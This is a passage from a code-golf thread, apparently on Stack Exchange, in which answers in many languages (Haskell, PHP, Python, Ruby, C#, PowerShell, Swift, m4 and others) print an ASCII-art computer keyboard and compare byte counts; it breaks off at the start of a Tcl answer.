online!](https://tio.run/nexus/bubblegum#RZPLqtVAEEXnfsVWFAdK2d1Jv8SxCIJeBFGOeLCfA0UcOPCi4q9fa3fO1QxCE5JVq3ZVbsxxPUXp6A6bRyxoAZuBNTABw8IPlAivTzxCwBzIGRDxP8WIyFmuZIrcWSCrqGaRGoLlJ2agOqSINOEi3I4ZMSrKRExwFWMjqlwpSB7e19v1owvKKWpr/LysiraweupoiT4qky3ihpqQDPbKA56RM3mT7yIvL6hNUckhrHeSih2HDVbJjcLb4WzYbM8sBPki8mGRrHw6yzxQu6Kcwx7QdmwZ3aI59tIDSqZPmPAFPSFX2IQ5gXvPJWtn6vTtROCB8oqqlS@PBO/RJobG29jvnmAsQ6uG5lblC6tATvKWiBfL7PP1gQpsMCBWGE3VrNYae9HxWZ3sYImhw1W3iLqjG0X9EnB863p3axWJquxF/WcmxHfkzpE1D9fW7Aatmj5ceiDh/FFvj@XP/wYTs/IoaxnMxtipZ1dHidul3RmtVamkhbIHHkjR2O8eVmp3oPKxov9k3GTgI9NQ91ZnMR2q@uiSdGI1Q1DpyQUkX2@tiqJGx67ZajiRqaqP8Vy2ZlZujvkPQ9t98AB5vean6/VGk391QVVF2Z0TjBGzrj@lwCdU7SXynPWsqhWxcaC85PRD23p/WP2Wm5u/ "Bubblegum ‚Äì TIO Nexus") [Answer] ## Haskell, 263 chars (353 bytes UTF-8) ``` import Data.List main=mapM_ putStrLn$transpose.foldr k[g]=<< [s"`1234567890-="%" ‚Üê" ,"‚Üπ ":s"ùëÑùëäùê∏ùëÖùëáùëåùëàùêºùëÇùëÉ[]\\" ,"‚á© ":s"ùê¥ùëÜùê∑ùêπùê∫ùêªùêΩùêæùêø;'"%" ‚ܵ" ,"‚áß ":s"ùëçùëãùê∂ùëâùêµùëÅùëÄ,./"%" ‚áß"] r%e=r++[e] g=" |||" k s r=g:"_||/":['_':c:"__"|c<-s]%"_||\\"++r s=map(:" ") ``` [![screenshot of that keyboard](https://i.stack.imgur.com/KcN5e.png)](https://i.stack.imgur.com/KcN5e.png) As there has been a lot of discussion about the score in light of these unicode characters... here's the same program, reduced to all-ASCII: ## Haskell, 263 chars (263 bytes UTF-8) ``` import Data.List main=mapM_ putStrLn$transpose.foldr k[g]=<< [s"`1234567890-="%"BS " ,"TAB ":s"QWERTYUIOP[]\\" ,"CAPS ":s"ASDFGHJKL;'"%"ENTER " ,"SHIFT ":s"ZXCVBNM,./"%"SHIFT "] r%e=r++[e] g=" |||" k s r=g:"_||/":['_':c:"__"|c<-s]%"_||\\"++r s=map(:" ") ``` [Answer] # PHP, 303 bytes Lazy but effective. :) ``` <?=gzinflate(base64_decode('rdO5DoJAEIDhnqegs/G+jbEAvA88wBuzPsg8vPyLZo3tOMUXmt1k/iy+ycfXYj88kacvIg1oQgva0IEu9KAPA6hDBUYQJn4+IvldxogWhrtqxmRamEw8t66afMc0CO26soczTOAAKVzhCAvYwg7u8IDs06tYVx3Oc+uqw7lef3lfUbBLimABJDCGKcxgDktYwRqGULJ143Ry+O71r/elDvb7vnSx3r2S+WKaFn+U3OACEZzs7wYxbKAMVajZvO6066WK9dNLFcuefgE')); ``` [Answer] # Python 3.5+, 239 bytes ``` s="SHIFT " for k in[(*"`1234567890-=","BS "),("TAB ",*"QWERTYUIOP[]\\"),("CAPS ",*"ASDFGHJKL;'","ENTER"),(s,*"ZXCVBNM,./",s)]: for f in"{1}__ ,|{} ||,|{1}||,/{1}\|".split(","):print(f[-1]+"".join(f.format(c,"_"*-~len(c))for c in k)) ``` [Answer] ## Batch, ~~465~~ 452 bytes ``` @echo off call:c _ ` 1 2 3 4 5 6 7 8 9 0 - "=" "BS " _____ call:c _____ "TAB " Q W E R T Y U I O P [ ] \ _ call:c ______ "CAPS " A S D F G H J K L ";" ' ENTER _____ call:c ________ "SHIFT " Z X C V B N M "," . / "SHIFT " ________ exit/b :c set t=%1_ set s=!!%~2 !!!%3 !! :l set t=%t%#__ set s=%s%!%~4 !! shift if not "%~5"=="" goto l set t=%t%#%4_ for %%l in (" _%t:#=_ _%_" "%s:!=|%" "||%t:#=|||%||" "|/%t:#=\|/%\|")do echo %%~l ``` The `:c` subroutine handles a line of keys. Keys containing extra spaces need to be quoted, as do the `=`, `;`, `,` keys, possibly due to a bug in the `shift` command. The first and last parameters are strings of `_`s of the same length as the first and last key to aid concatenation. `t` then ends up as the `_`s common to the first, third and fourth rows, with `#`s marking the join, which are replaced appropriately before the leading and trailing characters are added, while `s` is the second row, but with `|`s changed to `!`s as they reduce the number of `"`s that I need. Edit: Saved 1 byte by printing all four lines in a single statement, and 12 bytes by optimising the way I assigned the `s` variable. [Answer] # Ruby, 226 bytes ``` 16.times{|i|puts (([[?`,'TAB ','CAPS ',s='SHIFT '][j=i/4]]+%w{1234567890-= QWERTYUIOP[] ASDFGHJKL;' ZXCVBNM,./}[j].chars+[['BS ',?\\,'ENTER',s][j]]).map{|e|e.tr('^|'[-i%4/3,2],?_)}*3*"__ _ |||_|||_\\|/"[i%4*4,4])[72,75]} ``` Improvements as follows: 1.No empty string elements at the beginning and end of the array. Instead the array is triplicated making 3 side-by side keyboards. After conversion to string we have 3 keyboards with outer edges missing. This is truncated to only display the middle one, complete with edges. 2.Changed version of Ruby. Used Ideone instead of 1.9.3 installed on my machine. This means `.chars.to_a` can be shortened to just `.chars`. # Ruby, 239 bytes There's a few more bytes to be golfed out of this. Will look tomorrow. ``` 16.times{|i|puts ((['']+[[?`,'TAB ','CAPS ',s='SHIFT '][j=i/4]]+%w{1234567890-= QWERTYUIOP[] ASDFGHJKL;' ZXCVBNM,./}[j].chars.to_a+[['BS ',?\\,'ENTER',s][j]]+['']).map{|e|e.tr('^|'[-i%4/3,2],?_)}*"__ _ |||_|||_\\|/"[i%4*4,4])[2..-2]} ``` **ungolfed** ``` 16.times{|i| #iterate throug 16 lines of output puts ((['']+[[?`,'TAB ','CAPS ',s='SHIFT '][j=i/4]]+ #build row from blank element plus left special key %w{1234567890-= QWERTYUIOP[] ASDFGHJKL;' ZXCVBNM,./}[j].chars.to_a+ #plus regular keys [['BS ',?\\,'ENTER',s][j]]+['']).map{|e| #plus right special key and another blank element e.tr('^|'[-i%4/3,2],?_)}* #if i%4 != 1, replace the keytop legend with _ characters "__ _ |||_|||_\\|/"[i%4*4,4])[2..-2] #join the middle parts of the keys with ends. truncate spurious outer ends before printing. } ``` [Answer] # C#, 357 bytes (when in one line, and incorporating most suggestions) --- ``` var s=""; foreach(var r in@"`|1|2|3|4|5|6|7|8|9|0|-|=|BS ~TAB |Q|W|E|R|T|Y|U|I|O|P|[|]|\~CAPS |A|S|D|F|G|H|J|K|L|;|'|ENTER~SHIFT |Z|X|C|V|B|N|M|,|.|/|SHIFT ".Split('~')) for(int i=0;i<4;s+=i>0?"|\n":"\n",i++) foreach(var k in r.Split('|')) { var u=new string('_',k.Length+1); s+=i<1?" "+u+"__" :i<2 ?"||"+k+" |" :i<3 ?"||"+u+"|" :"|/"+u+@"\"; } Console.Write(s); ``` **Or, 353 with string interpolation and all other suggestions** ``` var s="";foreach(var r in@"`|1|2|3|4|5|6|7|8|9|0|-|=|BS ~TAB |Q|W|E|R|T|Y|U|I|O|P|[|]|\~CAPS |A|S|D|F|G|H|J|K|L|;|'|ENTER~SHIFT |Z|X|C|V|B|N|M|,|.|/|SHIFT ".Split('~'))for(int i=0;i<4;s+=i>0?"|\n":"\n",i++)foreach(var k in r.Split('|')){var u=new string('_',k.Length+1);s+=i<1?$" {u}__":i<2?$"||{k} |":i<3?$"||{u}|":$@"|/{u}\";}Console.Write(s); ``` Ungolfed (without string interpolation): ``` var solution = ""; foreach (var row in @"`|1|2|3|4|5|6|7|8|9|0|-|=|BS ~TAB |Q|W|E|R|T|Y|U|I|O|P|[|]|\~CAPS |A|S|D|F|G|H|J|K|L|;|'|ENTER~SHIFT |Z|X|C|V|B|N|M|,|.|/|SHIFT ".Split('~')) for (int i = 0; i < 4; solution += i > 0 ? "|\n" : "\n", i++) foreach (var key in row.Split('|')) { var underscores = new string('_', key.Length + 1); solution += i < 1 ? " " + underscores + "__" : i < 2 ? "||" + key + " |" : i < 3 ? "||" + underscores + "|" : "|/" + underscores + @"\"; } Console.Write(solution); ``` [Answer] ## PowerShell v2+, 465 bytes ``` ($b=($a=' ____')*10)+$a*3+" "+($d='_'*8) "||``@$(1..9-join'@')@0@-@=@BS || ||$(($f=,'__'*10-join'#'))#__#__#__#$(($g='_'*6))|| $(($c=($e='|/__\')*10))$e$e$e|/$g\| $d$b$a$a$a ||TAB @Q@W@E@R@T@Y@U@I@O@P@[@]@\ || ||$g#$f#__#__#__|| |/$g\$c$e$e$e| _$d$b$a $d ||CAPS @A@S@D@F@G@H@J@K@L@;@'@ENTER || ||_$g#$f#__#$g|| |/_$g\$c$e|/$g\| ___$d$b ___$d ||SHIFT @Z@X@C@V@B@N@M@,@.@/@SHIFT || ||___$g#$f#___$g|| |/___$g\$c|/___$g\|"-replace'@',' #'-replace'#','|||' ``` I'm halfway embarrassed to be posting this answer, given how short the PHP and Python answers are, nevermind the C# answer, but I'm unable to get this method shorter. Other approaches may yield better results. It's basically just a giant multi-line string, with variables (`$a` and the like) substituting for various substrings, and a couple `-replace`s at the end to finish it out. Script blocks `$(...)` are inserted where necessary to introduce new variables. [Try it online!](https://tio.run/nexus/powershell#PZDbbsIwDIbv@xRRaykNZzRp2jRV@oHBYAfGoDszhQKl2oS2add@d@bQgx0pcWJ//uNDSOsopCTSyoppU@t2TJ2S2kndV349pG2kra6dGc9nXq1AYbfVOm9@/Xx@a2iDDpqI0F8oMWaPmcKQdlFDC0tQeWKgjQmsLZbLyI7UU2OkxsUb0ZBGmtvWLnMNhlLn3KZsyZ6iLa0pcS494l5fKTzgGUPMEeMVj5jgHjO84wPLQkgW0K7q6q4cijYF11M2Zwpasge9mfwBPSxwiRGuMMY1bnCLC2gMp/FwnlNthaXsyLQFtBQqQ3TcfJeCxXgyimU4eMMLBnhCH1PcoYEW2igfC7at6Lak25xfnthv/qW/@2STyvQbWgW6igOJmVkfDv8 "PowerShell ‚Äì TIO Nexus") [Answer] **Python, ~~493~~ 458 Bytes.** ``` k=[['|']*75 for i in [0]*16] v=' ' w='_' y=0 def a(s,x,o):k[y+o][x:x+len(s)]=list(s) def p(s,i,x):a(s+v*(i-len(s)),x+2,1);a(v+w*(i+2)+v,x,0);a(w*i,x+2,2);a(w*i,x+2,3);a('/',x+1,3);a('\\',x+i+2,3);return x+i+3 def q(s,x):return reduce(lambda a,b:p(b,2,a),list(s),x) p('BS',6,q('`1234567890-=',0)) y=4 q('QWERTYUIOP[]\\',p('TAB',6,0)) y=8 p('ENTER',6,q('ASDFGHJKL;\'',p('CAPS',7,0))) y=12 p('SHIFT',9,q('ZXCVBNM,./',p('SHIFT',9,0))) for l in k:print''.join(l) ``` Functionally equivalent but somewhat more readable: ``` k=[['|']*75 for i in range(16)] def a(s,x,y):k[y][x:x+len(s)]=list(s) def p(s,i,x,y): a(s+' '*(i-len(s)),x+2,y+1) a(' '+'_'*(i+2)+' ',x,y) a('_'*i,x+2,y+2) a('_'*i,x+2,y+3) k[y+3][x+1]='/' k[y+3][x+i+2]='\\' return x+i+3 def q(s,x,y):return reduce(lambda a,b:p(b,2,a,y),list(s),x) p('BS',6,q('`1234567890-=',0,0),0) q('QWERTYUIOP[]\\',p('TAB',6,0,4),4) p('ENTER',6,q('ASDFGHJKL;\'',p('CAPS',7,0,8),8),8) p('SHIFT',9,q('ZXCVBNM,./',p('SHIFT',9,0,12),12),12) for l in k:print ''.join(l) ``` Unfortunately it's already longer than the answer provided in Lua. [Answer] # PHP, ~~316~~ 312 bytes ``` foreach([($s=str_split)("`1234567890-=")+[13=>"BS "],["TAB "]+$s("_QWERTYUIOP[]\\"),["CAPS "]+$s("_ASDFGHJKL;'")+[12=>ENTER],[$h="SHIFT "]+$s("_ZXCVBNM,./")+[11=>$h]]as$r)for($y=-1;$y++<3;)foreach($r as$i=>$k)echo["\n".$a="| "[!$y]][$i],"_||/"[$y],str_pad($y-1?_:$k,strlen($k)+1,$y-1?_:" "),"_||\\"[$y],$a; ``` I¬¥m pretty sure that this approach cannot be golfed any further. But if anyone finds 10 more bytes ... :D Run with `-r`. **breakdown** ``` foreach([ // loop through rows ($s=str_split)("`1234567890-=")+[13=>"BS "], ["TAB "]+$s("_QWERTYUIOP[]\\"), ["CAPS "]+$s("_ASDFGHJKL;'")+[12=>ENTER], [$h="SHIFT "]+$s("_ZXCVBNM,./")+[11=>$h] ]as$r) for($y=-1;$y++<3;) // loop through lines 0..3 foreach($r as$i=>$k) // loop through keys echo["\n".$a="| "[!$y]][$i],// first key in row: leading NL + space/pipe "_||/"[$y], // key edges str_pad( $y-1?_:$k, // line 1: key label; else underscore strlen($k)+1, // pad to length+1 $y-1?_:" "), // with spaces for label, underscores else "_||\\"[$y], // more key edges $a // joining edges ; ``` [Answer] # JavaScript (ES6), 286 An anonymous function with no parameters ``` _=>[..."`1234567890-=~~QWERTYUIOP[]\\~ASDFGHJKL;'~~ZXCVBNM,./~"].map(x=>(o+=`/${b='_'.repeat(w=x<y?2:' 667699'[x=["BS","TAB","CAPS","ENTER"][p++]||'SHIFT',p])}\\|`,m+=y+(x+' ').slice(0,w)+y+y,n+=y+b+y+y,l+=' __'+b)[73]&&(k.push(l,m,n,o),l='',m=n=o=y),m=n=o=y='|',p=l=k=[])&&k.join` ` ``` *Less golfed* ``` _=>[..."`1234567890-=~~QWERTYUIOP[]\\~ASDFGHJKL;'~~ZXCVBNM,./~"] .map(x=> ( w = x < y // special chars are marked '~' that is > '|' ? 2 // normal key, width 2 : ( // else special key, set x and width // p should be incremented at next step, but I need to make it numeric as it starts as [] x = ["BS","TAB","CAPS","ENTER"][p++]||'SHIFT', ' 667699'[p], // value for w (note p is off by 1) ), b = '_'.repeat(w), // bottom border (and top, almost) o +=`/${b}\\|`, // line 4 n += y+b+y+y, // line 3 m += y+(x+' ').slice(0,w)+y+y, // line 2 l += ' __'+b // top line, the border must be longer )[70] && // check if at end of row (check position in l) ( k.push(l, m, n, o), // add lines to list l = '', // reset all m = n = o = y ) , // initial setup // y stays fixed to '|', lines 2,3,4 start as '|' m = n = o = y ='|', // k is the lines array, l will become as string and starts empty // p is the index of current special key and will become numeric p = l = k = [] ) && k.join`\n` // return lines as a single string ``` ``` F=_=>[..."`1234567890-=~~QWERTYUIOP[]\\~ASDFGHJKL;'~~ZXCVBNM,./~"].map(x=>(o+=`/${b='_'.repeat(w=x<y?2:' 667699'[x=["BS","TAB","CAPS","ENTER"][p++]||'SHIFT',p])}\\|`,m+=y+(x+' ').slice(0,w)+y+y,n+=y+b+y+y,l+=' __'+b)[73]&&(k.push(l,m,n,o),l='',m=n=o=y),m=n=o=y='|',p=l=k=[])&&k.join` ` O.textContent=F() ``` ``` <pre id=O></pre> ``` [Answer] # Bash (on OSX), ~~12~~ 8 + 221 + 1 = ~~234~~ 230 bytes Yeah, I know, compression. But it works, no? ``` gunzip<f ``` Requires a file called "f" in the current directory with the following contents (put into base64 for PPCG-friendliness - you can decode this into the file "f" first.): ``` H4sIAHbPT1gAA63TuQ6CQBCA4Z6noLPxvo2xALwPPMAbsz7IPLz8i2aN7TjFFxo2mT+7vsnH12I/PJGnLyINaEIL2tCBLvSgDwOoQwVGECZ+PiL5WcaIFoazasZkWphMPLeumnzHNAjturKHM0zgAClc4QgL2MIO7vCA7NOrWFcdznPrqsO5Xn+5X1GwS4pgASQwhinMYA5LWMEahlCydeN0cvju9a/7pQ72e790sd69kvlimhYvSm5wgQhO9rlBDBsoQxVqNq/72/VSxfrppYpV9HoBoNfjQcAEAAA= ``` [Answer] # [SOGL V0.12](https://github.com/dzaima/SOGL), ~~131~~ ~~128~~ 127 [bytes](https://github.com/dzaima/SOGL/blob/master/chartable.md) ([competing?](https://codegolf.meta.stackexchange.com/questions/12877/lets-allow-newer-languages-versions-for-older-challenges?cb=1)) ``` ‚Öü]y‚Äò9Œî√∏‚àë"`≈ó0-=‚ÄùƒçŒö"TAB ‚ÄùQWERTYUIOP[]\‚Äùƒç+"oF¬´‚ñíŒí¬≤‚Äò‚Å∑Œü‚ÄòASDFGHJKL;'‚ÄùƒçŒö+"_‚ÑñK¬≥‚ÄòZXCVBNM,./‚Äùƒç‚Å¥++¬π{"^Œº¬≥‚Äòƒç;{U;"_||/‚Äù‚îº;{"_≈ó__‚Äù‚îº}"Œü œà¬¶‚ÑƬ≥‚Äò‚îº}O ``` SOGL does have the [`2*2/`](https://github.com/dzaima/SOGL/blob/master/P5ParserV0_12/data/charDefs.txt#L76) and [`2/2*`](https://github.com/dzaima/SOGL/blob/master/P5ParserV0_12/data/charDefs.txt#L86) quirks, but those feel too much like a built-in for this challenge. [Try it Here!](https://dzaima.github.io/SOGLOnline/?code=JXUyMTVGJTVEeSV1MjAxODkldTAzOTQlRjgldTIyMTElMjIlNjAldTAxNTcwLSUzRCV1MjAxRCV1MDEwRCV1MDM5QSUyMlRBQiUyMCUyMCV1MjAxRFFXRVJUWVVJT1AlNUIlNUQlNUMldTIwMUQldTAxMEQrJTIyb0YlQUIldTI1OTIldTAzOTIlQjIldTIwMTgldTIwNzcldTAzOUYldTIwMThBU0RGR0hKS0wlM0IlMjcldTIwMUQldTAxMEQldTAzOUErJTIyXyV1MjExNkslQjMldTIwMThaWENWQk5NJTJDLi8ldTIwMUQldTAxMEQldTIwNzQrKyVCOSU3QiUyMiU1RSV1MDNCQyVCMyV1MjAxOCV1MDEwRCUzQiU3QlUlM0IlMjJfJTdDJTdDLyV1MjAxRCV1MjUzQyUzQiU3QiUyMl8ldTAxNTdfXyV1MjAxRCV1MjUzQyU3RCUyMiV1MDM5RiUwOSV1MDNDOCVBNiV1MjEyRSVCMyV1MjAxOCV1MjUzQyU3RE8_) ``` ...‚Äò push "BS " ["BS "] 9Œî push an array of numbers up to 9 ["BS ", [1,2,3,4,5,6,7,8,9]] √∏‚àë join into a single string (without √∏ it results to 45) ["BS ", "123456789"] "`≈ó0-=‚Äù push "`≈ó0-=" with ≈ó replaced with the digits ["BS ", "`1234567890-="] ƒç chop that into an array of characters ["BS ", ["`","1","2","3","4","5","6","7","8","9","0","-","="]] Œö add the first "BS " to the end of the array [["BS ","`","1","2","3","4","5","6","7","8","9","0","-","="]] "TAB ‚Äù push "TAB " [[..], "TAB "] Q..P[]\‚Äù push "QWERTYUIOP[]\" [[..], "TAB ", "QWERTYUIOP[]\"] ƒç chop that [[..], "TAB ", ["Q","W","E","R","T","Y","U","I","O","P","[","]","\"]] + prepend to the array "TAB " [[..], ["TAB ","Q","W","E","R","T","Y","U","I","O","P","[","]","\"]] "...‚Äò push "caps " [.. , "caps "] ‚Å∑Œü‚Äò push "enter" [.. , "caps ", "enter"] AL;'‚Äù push "ASDFGHJKL;'" [.. , "caps ", "enter", "ASDFGHJKL;'"] ƒç chop that [.. , "caps ", "enter", ["A","S","D","F","G","H","J","K","L",";","'"]] Œö append "enter" to the end of array [.. , "caps ", ["A","S","D","F","G","H","J","K","L",";","'","enter"]] + prepend "caps " to the array [.. , ["caps ","A","S","D","F","G","H","J","K","L",";","'","enter"]] "..‚Äò push "shift " [..., "shift "] ZM,./‚Äù push "ZXCVBNM,./" [..., "shift ", "ZXCVBNM,./"] ƒç chop it [..., "shift ", ["Z","X","C","V","B","N","M",",",".","/"]] ‚Å¥ duplicate the shift [..., "shift ", ["Z","X","C","V","B","N","M",",",".","/"], "shift "] ++ append and prepend the shifts [..., ["shift ","Z","X","C","V","B","N","M",",",".","/","shift "]] ¬π get all the arrays into one big array result: [[["BS ","`","1","2","3","4","5","6","7","8","9","0","-","="], ["TAB ","Q","W","E","R","T","Y","U","I","O","P","[","]","\"], ["caps ","A","S","D","F","G","H","J","K","L",";","'","enter"], ["shift ","Z","X","C","V","B","N","M",",",".","/","shift "]]] - a 2D array of the keyboard characters { for each array in the array do "...‚Äò push " |||" ƒç chop to chars ; get the main array ontop { } for each string in the array U uppercase it (before lowercase was used for better compression) ; get the chopped array ontop "_||/‚Äù push "_||/" ‚îº append vertically ; get the string ontop { } for each char in the string do "_≈ó__‚Äù push "_≈ó__" ‚îº append vertically "..‚Äò push " _||\ |||" ‚îº append vertically-then horizontally O output that in a newline ``` [Answer] # Swift, 777 Bytes ``` func b(_ c:String,_ d:Int,_ e:Int)->[String]{var f=Array(" __ |||||||||/\\|".characters),g=[String]() for h in 0..<4{var i="";for j in e..<4{i.append(f[j+h*4]) if j==1{var k="_",l=0;if h==1{k=" ";l=c.characters.count;i += c} for _ in l..<d{i+=k}}};g.append(i)};return g} func c(_ d:String)->[(String,Int)]{return Array(d.characters).map{("\($0)",2)}} func d(_ e:String,_ f:Int)->[(String,Int)]{return [(e,f)]} var e=[c("`1234567890-=")+d("BS",6),d("TAB",6)+c("QWERTYUIOP[]\\")] e+=[d("CAPS",7)+c("ASDFGHJKL;'")+d("ENTER",6),d("SHIFT",9)+c("ZXCVBNM,./")+d("SHIFT",9)] var f="";for g in 0..<e.count{let h=e[g] var i=[[String]]();for j in 0..<h.count{ let k=h[j],l=b(k.0,k.1,(j>0 ? 1:0));i.append(l)} for k in 0..<4{if g>0||k>0{f+="\n"} for l in i{f+=l[k]}}};print(f,separator:"") ``` Swift is generally not a great language of choice for golfing, so being less than double the current smallest answer (that was fast) ~~is a good challenge here!~~ Ungolfed: ``` func createKeyboard() { func createKey(_ text: String, _ middleWidth: Int, _ startingColumn: Int) -> [String] { var keyTempalte = " __ |||||||||/\\|" var keyTemplateCharacters = Array(keyTempalte.characters) var output = [String]() for y in 0 ..< 4 { var line = "" for x in startingColumn ..< 4 { line.append(keyTemplateCharacters[x + y*4]) if x == 1 { var spacingCharacter = "_" var startingOffset = 0 if y == 1 { spacingCharacter = " " startingOffset = text.characters.count line += text } for _ in startingOffset ..< middleWidth { line += spacingCharacter } } } output.append(line) } return output } func stringToCharacterStrings(_ str: String) -> [(String, Int)] { return Array(str.characters).map {("\($0)",2)} } func specialKey(_ str: String, _ middleWidth: Int) -> [(String, Int)] { return [(str, middleWidth)] } var keys = [stringToCharacterStrings("`1234567890-=") + specialKey("BS", 6), specialKey("TAB", 6) + stringToCharacterStrings("QWERTYUIOP[]\\")] keys += [specialKey("CAPS", 7) + stringToCharacterStrings("ASDFGHJKL;'") + specialKey("ENTER", 6), specialKey("SHIFT", 9) + stringToCharacterStrings("ZXCVBNM,./") + specialKey("SHIFT", 9)] var output = "" for r in 0 ..< keys.count { let row = keys[r] var rowKeys = [[String]]() for i in 0 ..< row.count { let elem = row[i] let key = createKey(elem.0, elem.1, (i>0 ? 1 : 0)) rowKeys.append(key) } for y in 0 ..< 4 { if r > 0 || y > 0 { output += "\n" } for key in rowKeys { output += key[y] } } } print(output) } createKeyboard() ``` [Answer] # Python 2, ~~394~~ ~~388~~ 380 bytes ``` k=[4]*13+[8],[8]+[4]*13,[9]+[4]*11+[8],[11]+[4]*10+[11];m='`1234567890-=*','*QWERTYUIOP[]*',"*ASDFGHJKL;'*",'*ZXCVBNM,./*';c,d,e,n,u=0,'','|','\n','_' for a in 0,1,2,3: f=s=t=o='';x=0 for y in k[a]:g=y-2;f+=' '+u*y;s+=e*2+m[a][x].replace('*','%s')+' |';t+=e*2+u*g+e;o+='|/'+u*g+'\\';x+=1 d+=f+n+s+e+n+t+e+n+o+e+n l='SHIFT ';print d%('BS ','TAB ','\\','CAPS ','ENTER',l,l) ``` Just builds a big string representing the whole keyboard, replaces \* with %s for the special keys then uses string formatting to update the specials. **Edit** Now has a trailing newline at the end of the output but I don't see anywhere that's not allowed. [Try it online!](https://tio.run/##LY7bboJAEIbveYqNiRm7OyqgbdXNXKjVag/WCj0iaY2iNSIYwUQS350u6MX8M9/MP7uzS@K/MDDTdENO3eVGTTgNF1WIM6LTvJTGeWIYF9ZFVsstwa9h1urXN7eNpl4mDgj89aM3sb/ehi9jx1WNAm9bd/37wcPjkwReUIbvz@57Z/SMlSoHOccFehjggXQEtX5SMQ2U/IC2DPdsxtYB09FAE2stjS0pophCApBH0hUrS5JZNs7Mba0oKZtyKQgYiANPZCTI46bYqqFzdCt7b@fP5l4JskOLEVwJYCeQ8dl14CvhyVBtn6qQE0yn6h9BhsYWgpYiEJHwlMa5hplqPoE1GPZtxhjI3X4dxGxRLEHHyhoIdruTZ/USQrc9tnLqjezeBNBH/ypN/wE "Python 2 ‚Äì Try It Online") [Answer] # C#, 376 bytes (when in one line) --- ``` var s="";foreach(var r in@"`|1|2|3|4|5|6|7|8|9|0|-|=|BS ~TAB |Q|W|E|R|T|Y|U|I|O|P|[|]|\~CAPS |A|S|D|F|G|H|J|K|L|;|'|ENTER~SHIFT |Z|X|C|V|B|N|M|,|.|/|SHIFT ".Split('~'))for(int i=0,l;i<4;i++){foreach(var k in r.Split('|')){l=k.Length+1;var u=new string('_',l);s+=i<1?" "+u+"__":i<2?"||"+k.PadRight(l)+"|":i<3?"||"+u+"|":"|/"+u+@"\";}s+=i>0?"|\n":"\n";}Console.Write(s); ``` This is based entirely on Klinger's C# answer. I don't have enough rep to comment on his answer, otherwise I would. I was able to slim down Klinger's code by 5 bytes, by modifying the initial foreach loop, and removing extraneous brackets. ``` var s=""; foreach(var r in@"`|1|2|3|4|5|6|7|8|9|0|-|=|BS ~TAB |Q|W|E|R|T|Y|U|I|O|P|[|]|\~CAPS |A|S|D|F|G|H|J|K|L|;|'|ENTER~SHIFT |Z|X|C|V|B|N|M|,|.|/|SHIFT ".Split('~')) for(int i=0,l;i<4;i++) { foreach(var k in r.Split('|')) { l=k.Length+1; var u=new string('_',l); s+=i<1?" "+u+"__" :i<2 ?"||"+k.PadRight(l)+"|" :i<3 ?"||"+u+"|" :"|/"+u+@"\"; } s+=i>0?"|\n":"\n"; } Console.Write(s); ``` [Answer] # m4, 456 ``` changequote({,})define(d,{define($@)})d(p,{patsubst($@)})d(a,{{_}p({$1},.,_)_ })d(b,{|$1||})d(c,{|p({$1},.,_)||})d(e,{/p({$1},.,_)\|})d(f,{ifelse(len({$2}),0,,{indir({$1},{$2})f({$1},shift(shift($@)))})})d(g,{ f({a},$@) |f({b},$@) |f({c},$@) |f({e},$@) })g(` ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,0 ,- ,= ,BS )g(TAB ,Q ,W ,E ,R ,T ,Y ,U ,I ,O ,P ,[ ,] ,\ )g(CAPS ,A ,S ,D ,F ,G ,H ,J ,K ,L ,; ,' ,ENTER )g(SHIFT ,Z ,X ,C ,V ,B ,N ,M ,{,} ,. ,/ ,SHIFT ) ``` Ungolfed: ``` changequote({,})dnl define(key1, {{_}patsubst({$1}, ., _)_ })dnl _______ define(key2, {|$1||})dnl |TAB || define(key3, {|patsubst({$1}, ., _)||})dnl |_____|| define(key4, {/patsubst({$1}, ., _)\|})dnl /_____\| define(rkey, {dnl ifelse(dnl len({$2}), 0, ,dnl terminate on empty argument {dnl indir({$1}, {$2})dnl rkey({$1}, shift(shift($@)))dnl }dnl )dnl })dnl define(row, {dnl rkey({key1}, $@) |rkey({key2}, $@) |rkey({key3}, $@) |rkey({key4}, $@)dnl })dnl row(` ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,0 ,- ,= ,BS ) row(TAB ,Q ,W ,E ,R ,T ,Y ,U ,I ,O ,P ,[ ,] ,\ ) row(CAPS ,A ,S ,D ,F ,G ,H ,J ,K ,L ,; ,' ,ENTER ) row(SHIFT ,Z ,X ,C ,V ,B ,N ,M ,{,} ,. ,/ ,SHIFT ) ``` (This is actually the first time I'm both code-golfing and giving m4 a try.) [Answer] # [stacked](https://github.com/ConorOBrien-Foxx/stacked), 228 bytes [Try it here!](http://conorobrien-foxx.github.io/stacked/stacked.html) ``` [,{a:a size@n(' __' '_'n 1+:@k*LF'||'a' ' '|'LF'||' '_'k*:@o'|'LF'|/'o'\')sum}"!$hcat#/!' |||'hcat out]@:p$chars@:c'`1234567890-='c'BS 'p'TAB ' 'QWERTYUIOP[]\'c p'CAPS ' 'ASDFGHJKL;'''c,'ENTER'p'SHIFT ':@q'ZXCVBNM,./'c,q p ``` Or, slightly more readable: ``` {a:a size@n(' __' '_'n 1+:@k*LF'||'a' ' '|'LF'||' '_'k*'|'LF'|/' '_'k*'\')sum}"@:m [,m$hcat#/!' |||'hcat out]@:p '`1234567890-='chars'BS 'p 'TAB ' 'QWERTYUIOP[]\'chars p 'CAPS ' 'ASDFGHJKL;'''chars,'ENTER'p 'SHIFT ':@q'ZXCVBNM,./'chars,q p ``` This works by defining a function `p` that makes a key, then `hcat`ing multiple keys. [Answer] # Haskell, 255 ``` import Data.List;a#b=a++[b];e=" |||";s=map(:" ");k x=[e,"_||/"]++['_':c:"__"|c<-x]#"_||\\";t="SHIFT ";main=mapM_ putStrLn$transpose.(#e).(k=<<)=<<[s"`1234567890-="#"BS ","TAB ":s"QWERTYUIOP[]\\","CAPS ":s"ASDFGHJKL;'"#"ENTER ",t:s"ZXCVBNM,./"#t] ``` In retrospect, similar in concept to [this Haskell answer](https://codegolf.stackexchange.com/a/103120/40), but producing the ASCII keyboard, and with slightly different golfing. Formatted and renamed: ``` import Data.List main :: IO () main = mapM_ putStrLn $ concatMap (transpose . (`append` end) . concatMap key) [ split "`1234567890-=" `append` "BS " , "TAB " : split "QWERTYUIOP[]\\" , "CAPS " : split "ASDFGHJKL;'" `append` "ENTER " , shift : split "ZXCVBNM,./" `append` shift ] key :: String -> [String] key x = [end, "_||/"] ++ ['_' : c : "__" | c <- x] `append` "_||\\" append :: [a] -> a -> [a] append a b = a ++ [b] split :: [Char] -> [String] split = map (: " ") end :: String end = " |||" shift :: String shift = "SHIFT " ``` [Answer] # tcl, 368 As counted by 